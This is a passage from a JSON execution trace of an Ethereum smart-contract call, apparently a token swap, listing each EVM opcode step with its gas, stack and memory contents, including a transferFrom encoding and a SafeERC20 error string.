00000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14337,"op":"JUMP","gas":1932,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x37e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14310,"op":"JUMPDEST","gas":1924,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14311,"op":"DUP2","gas":1923,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14312,"op":"DUP2","gas":1920,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14313,"op":"LT","gas":1917,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14314,"op":"ISZERO","gas":1914,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14315,"op":"PUSH2","gas":1911,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14318,"op":"JUMPI","gas":1908,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2","0x1","0x3802"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14338,"op":"JUMPDEST","gas":1898,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14339,"op":"POP","gas":1897,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14340,"op":"SWAP1","gas":1895,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x424","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14341,"op":"SWAP7","gas":1892,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1a2","0x100","0x3a4","0x0","0x20","0x160","0x2","0x424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14342,"op":"SWAP6","gas":1889,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x424","0x100","0x3a4","0x0","0x20","0x160","0x2","0x1a2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14343,"op":"POP","gas":1886,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4","0x0","0x20","0x160","0x2","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000200000000000000000000000000000000000000000000000045639182","44f40000000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":14344,"op":"POP","gas":1884,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x424","0x1a2","0x3a4","0x0","0x20","0x160","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf